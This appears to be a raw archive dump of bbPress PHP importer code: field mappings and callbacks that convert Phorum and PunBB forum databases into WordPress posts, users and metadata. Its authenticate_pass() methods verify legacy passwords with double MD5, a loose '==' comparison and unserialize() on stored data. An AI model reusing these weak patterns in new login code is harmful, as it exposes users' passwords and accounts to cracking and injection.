			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_topic_id'
		);

		// Topic reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'thread_count',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'thread_count',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_total_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic parent forum id (If no parent, then 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'forum_id',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Topic author.
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Topic author name (Stored in postmeta as _bbp_anonymous_name)
		$this->field_map[] = array(
			'from_tablename' => 'messages',
			'from_fieldname' => 'author',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_old_topic_author_name_id'
		);

		// Is the topic anonymous (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_is_topic_anonymous_id',
			'callback_method' => 'callback_check_anonymous'
		);

		// Topic Author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'ip',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_author_ip'
		);

		// Topic content.
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'body',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Topic title.
		$this->field_map[] = array(
			'from_tablename' => 'messages',
			'from_fieldname' => 'subject',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_title'
		);

		// Topic slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'subject',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Topic parent forum id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'forum_id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_forumid'
		);

		// Topic dates.
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'datestamp',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'datestamp',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'datestamp',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'datestamp',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'datestamp',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_last_active_time',
			'callback_method' => 'callback_datetime'
		);

		// Topic status (Open = 0 or Closed = 1)
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'closed',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_closed_status_id',
			'callback_method' => 'callback_topic_status'
		);

		/** Tags Section ******************************************************/

		/**
		 * Phorum v5.2.19 Forums do not support topic tags out of the box
		 */

		/** Topic Subscriptions Section ***************************************/

		// Subscribed topic ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'subscribers',
			'from_fieldname'  => 'thread',
			'to_type'         => 'topic_subscriptions',
			'to_fieldname'    => '_bbp_subscriptions'
		);

		// Subscribed user ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'subscribers',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'topic_subscriptions',
			'to_fieldname'    => 'user_id',
			'callback_method' => 'callback_userid'
		);

		/** Reply Section *****************************************************/

		// Old reply id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'message_id',
			'from_expression' => 'WHERE parent_id != 0',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_reply_id'
		);

		// Reply parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'forum_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Reply parent topic id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'thread',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_topic_id',
			'callback_method' => 'callback_topicid'
		);

		// Reply author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'messages',
			'from_fieldname' => 'ip',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_author_ip'
		);

		// Reply author.
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Reply author name (Stored in postmeta as _bbp_anonymous_name)
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'author',
			'to_type'         => 'reply',
			'to_fieldname'   => '_bbp_old_reply_author_name_id'
		);

		// Is the reply anonymous  (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_is_reply_anonymous_id',
			'callback_method' => 'callback_check_anonymous'
		);

		// Reply content.
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'body',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Reply parent topic id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'thread',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_topicid'
		);

		// Reply dates.
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'datestamp',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'datestamp',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'datestamp',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'datestamp',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);

		/** User Section ******************************************************/

		// Store old user id (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_id',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_old_user_id'
		);

		// Store old user password (Stored in usermeta serialized with salt)
		$this->field_map[] = array(
			'from_tablename'  => 'users',
			'from_fieldname'  => 'password',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_password',
			'callback_method' => 'callback_savepass'
		);

		// Store old user salt (This is only used for the SELECT row info for the above password save)
//		$this->field_map[] = array(
//			'from_tablename' => 'users',
//			'from_fieldname' => 'salt',
//			'to_type'        => 'user',
//			'to_fieldname'   => ''
//		);

		// User password verify class (Stored in usermeta for verifying password)
		$this->field_map[] = array(
			'to_type'      => 'users',
			'to_fieldname' => '_bbp_class',
			'default'      => 'Phorum'
		);

		// User name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'username',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_login'
		);

		// User nice name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'display_name',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_nicename'
		);

		// User email.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'email',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_email'
		);

		// User registered.
		$this->field_map[] = array(
			'from_tablename'  => 'users',
			'from_fieldname'  => 'date_added',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_registered',
			'callback_method' => 'callback_datetime'
		);

		// User display name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'real_name',
			'to_type'        => 'user',
			'to_fieldname'   => 'display_name'
		);

		// Store Signature (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'signature',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_phorum_user_sig',
			'callback_method' => 'callback_html'
		);

	}

	/**
	 * This method allows us to indicates what is or is not converted for each
	 * converter.
	 */
	public function info() {
		return '';
	}

	/**
	 * This method is to save the salt and password together.  That
	 * way when we authenticate it we can get it out of the database
	 * as one value. Array values are auto sanitized by WordPress.
	 */
	public function callback_savepass( $field, $row ) {
		$pass_array = array( 'hash' => $field, 'salt' => $row['salt'] );
		return $pass_array;
	}

	/**
	 * This method is to take the pass out of the database and compare
	 * to a pass the user has typed in.
	 */
	public function authenticate_pass( $password, $serialized_pass ) {
		$pass_array = unserialize( $serialized_pass );
		return ( $pass_array['hash'] == md5( md5( $password ). $pass_array['salt'] ) );
	}

	/**
	 * Translate the forum type from Phorum v5.2.19 numerics to WordPress's strings.
	 *
	 * @param int $status Phorum v5.2.19 numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_forum_type( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'category';
				break;

			case 0  :
			default :
				$status = 'forum';
				break;
		}
		return $status;
	}

	/**
	 * Translate the post status from Phorum v5.2.19 numerics to WordPress's strings.
	 *
	 * @param int $status Phorum v5.2.19 numeric topic status
	 * @return string WordPress safe
	 */
	public function callback_topic_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'closed';
				break;

			case 0  :
			default :
				$status = 'publish';
				break;
		}
		return $status;
	}

	/**
	 * Verify the topic/reply count.
	 *
	 * @param int $count Phorum v5.2.19 topic/reply counts
	 * @return string WordPress safe
	 */
	public function callback_topic_reply_count( $count = 1 ) {
		$count = absint( (int) $count - 1 );
		return $count;
	}
}
includes/admin/converters/PunBB.php000066600000051326151771460310013333 0ustar00<?php

/**
 * bbPress PunBB Converter
 *
 * @package bbPress
 * @subpackage Converters
 */

/**
 * Implementation of PunBB v1.4.2 Forum converter.
 *
 * @since 2.5.0 bbPress (r5153)
 *
 * @link Codex Docs https://codex.bbpress.org/import-forums/punbb
 */
class PunBB extends BBP_Converter_Base {

	/**
	 * Main Constructor
	 *
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Sets up the field mappings
	 */
	public function setup_globals() {

		/** Forum Section *****************************************************/

		// Old forum id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'id',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_id'
		);

		// Forum topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'num_topics',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_topic_count'
		);

		// Forum reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'num_posts',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_reply_count'
		);

		// Forum total topic count (Includes unpublished topics, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'num_topics',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_topic_count'
		);

		// Forum total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'num_posts',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_reply_count'
		);

		// Forum title.
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'forum_name',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_title'
		);

		// Forum slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'forum_name',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Forum description.
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'forum_desc',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_null'
		);

		// Forum display order (Starts from 1)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'disp_position',
			'to_type'        => 'forum',
			'to_fieldname'   => 'menu_order'
		);

		// Forum type (Set a default value 'forum', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_forum_type',
			'default'      => 'forum'
		);

		// Forum status (Set a default value 'open', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_status',
			'default'      => 'open'
		);

		// Forum dates.
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date_gmt',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified_gmt',
			'default'      => date('Y-m-d H:i:s')
		);

		/** Forum Subscriptions Section ***************************************/

		// Subscribed forum ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_subscriptions',
			'from_fieldname'  => 'forum_id',
			'to_type'         => 'forum_subscriptions',
			'to_fieldname'    => '_bbp_forum_subscriptions'
		);

		// Subscribed user ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_subscriptions',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'forum_subscriptions',
			'to_fieldname'    => 'user_id',
			'callback_method' => 'callback_userid'
		);

		/** Topic Section *****************************************************/

		// Old topic id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'topics',
			'from_fieldname' => 'id',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_old_topic_id'
		);

		// Topic reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'num_replies',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'num_replies',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_total_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'forum_id',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Topic author.
		// Note: We join the 'posts' table because 'topics' table does not have user id's.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'poster_id',
			'join_tablename'  => 'topics',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON topics.first_post_id = posts.id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Topic author name (Stored in postmeta as _bbp_anonymous_name)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'poster',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_topic_author_name_id'
		);

		// Is the topic anonymous (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'poster_id',
			'join_tablename'  => 'topics',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON topics.first_post_id = posts.id',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_is_topic_anonymous_id',
			'callback_method' => 'callback_check_anonymous'
		);

		// Topic Author ip (Stored in postmeta)
		// Note: We join the 'posts' table because 'topics' table does not have author ip.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'poster_ip',
			'join_tablename'  => 'topics',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON topics.first_post_id = posts.id',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_author_ip'
		);

		// Topic content.
		// Note: We join the 'posts' table because 'topics' table does not have content.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'message',
			'join_tablename'  => 'topics',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON topics.first_post_id = posts.id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Topic title.
		$this->field_map[] = array(
			'from_tablename' => 'topics',
			'from_fieldname' => 'subject',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_title'
		);

		// Topic slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'subject',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Topic parent forum id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'forum_id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_forumid'
		);

		// Topic status (Open or Closed, PunBB v1.4.2 0=open & 1=closed)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'closed',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_closed_status_id',
			'callback_method' => 'callback_topic_status'
		);

		// Sticky status (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'sticky',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_sticky_status_id',
			'callback_method' => 'callback_sticky_status'
		);
		// Topic dates.
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'posted',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'posted',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'last_post',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'last_post',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'last_post',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_last_active_time',
			'callback_method' => 'callback_datetime'
		);

		/** Tags Section ******************************************************/

		/**
		 * PunBB v1.4.2 Forums do not support topic tags out of the box
		 */

		/** Topic Subscriptions Section ***************************************/

		// Subscribed topic ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'subscriptions',
			'from_fieldname'  => 'topic_id',
			'to_type'         => 'topic_subscriptions',
			'to_fieldname'    => '_bbp_subscriptions'
		);

		// Subscribed user ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'subscriptions',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'topic_subscriptions',
			'to_fieldname'    => 'user_id',
			'callback_method' => 'callback_userid'
		);

		/** Reply Section *****************************************************/

		// Old reply id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_reply_id'
		);

		// Reply parent forum id (If no parent, then 0. Stored in postmeta)
		// Note: We join the 'topics' table because 'posts' table does not have parent forum id's.
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'forum_id',
			'join_tablename'  => 'posts',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON topics.id = posts.topic_id WHERE topics.first_post_id != posts.id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_topicid_to_forumid'
		);

		// Reply parent topic id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'topic_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_topic_id',
			'callback_method' => 'callback_topicid'
		);

		// Reply author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'posts',
			'from_fieldname' => 'poster_ip',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_author_ip'
		);

		// Reply author.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'poster_id',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Reply author name (Stored in postmeta as _bbp_anonymous_name)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'poster',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_reply_author_name_id'
		);

		// Is the reply anonymous (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'poster_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_is_reply_anonymous_id',
			'callback_method' => 'callback_check_anonymous'
		);

		// Reply content.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'message',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Reply parent topic id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'topic_id',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_topicid'
		);

		// Reply dates.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'posted',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'posted',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'edited',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'edited',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);

		/** User Section ******************************************************/

		// Store old user id (Stored in usermeta)
		// Don't import user id 1, this is PunBB's guest user
		$this->field_map[] = array(
			'from_tablename'  => 'users',
			'from_fieldname'  => 'id',
			'from_expression' => 'WHERE id != 1',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_old_user_id'
		);

		// Store old user password (Stored in usermeta serialized with salt)
		$this->field_map[] = array(
			'from_tablename'  => 'users',
			'from_fieldname'  => 'password',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_password',
			'callback_method' => 'callback_savepass'
		);

		// Store old user salt (This is only used for the SELECT row info for the above password save)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'salt',
			'to_type'        => 'user',
			'to_fieldname'   => ''
		);

		// User password verify class (Stored in usermeta for verifying password)
		$this->field_map[] = array(
			'to_type'      => 'users',
			'to_fieldname' => '_bbp_class',
			'default'      => 'PunBB'
		);

		// User name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'username',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_login'
		);

		// User nice name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'username',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_nicename'
		);

		// User email.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'email',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_email'
		);

		// User homepage.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'url',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_url'
		);

		// User registered.
		$this->field_map[] = array(
			'from_tablename'  => 'users',
			'from_fieldname'  => 'registered',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_registered',
			'callback_method' => 'callback_datetime'
		);

		// User display name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'realname',
			'to_type'        => 'user',
			'to_fieldname'   => 'display_name'
		);

		// User AIM (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'aim',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_punbb_user_aim'
		);

		// User Yahoo (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'yahoo',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_punbb_user_yim'
		);

		// Store Jabber
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'jabber',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_punbb_user_jabber'
		);

		// Store ICQ (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'icq',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_punbb_user_icq'
		);

		// Store MSN (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'msn',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_punbb_user_msn'
		);

		// Store Facebook (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'facebook',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_punbb_user_facebook'
		);

		// Store Twitter (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'twitter',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_punbb_user_twitter'
		);

		// Store LinkedIn (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'linkedin',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_punbb_user_linkedin'
		);

		// Store Skype (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'skype',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_punbb_user_skype'
		);

		// Store Signature (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'signature',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_punbb_user_sig',
			'callback_method' => 'callback_html'
		);

		// Store Location (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'location',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_punbb_user_from'
		);

		// Store Admin Note (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'admin_note',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_punbb_user_admin_note'
		);
	}

	/**
	 * This method allows us to indicates what is or is not converted for each
	 * converter.
	 */
	public function info() {
		return '';
	}

	/**
	 * This method is to save the salt and password together.  That
	 * way when we authenticate it we can get it out of the database
	 * as one value. Array values are auto sanitized by WordPress.
	 */
	public function callback_savepass( $field, $row ) {
		$pass_array = array( 'hash' => $field, 'salt' => $row['salt'] );
		return $pass_array;
	}

	/**
	 * This method is to take the pass out of the database and compare
	 * to a pass the user has typed in.
	 */
	public function authenticate_pass( $password, $serialized_pass ) {
		$pass_array = unserialize( $serialized_pass );
		return ( $pass_array['hash'] == md5( md5( $password ). $pass_array['salt'] ) );
	}

	/**
	 * Translate the post status from PunBB v1.4.2 numerics to WordPress's strings.
	 *
	 * @param int $status PunBB v1.4.2 numeric topic status
	 * @return string WordPress safe
	 */
	public function callback_topic_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'closed';
				break;

			case 0  :
			default :
				$status = 'publish';
				break;
		}
		return $status;
	}

	/**
	 * Translate the topic sticky status type from PunBB v1.4.2 numerics to WordPress's strings.
	 *
	 * @param int $status PunBB v1.4.2 numeric forum type
	 * @return string WordPress safe
	 */
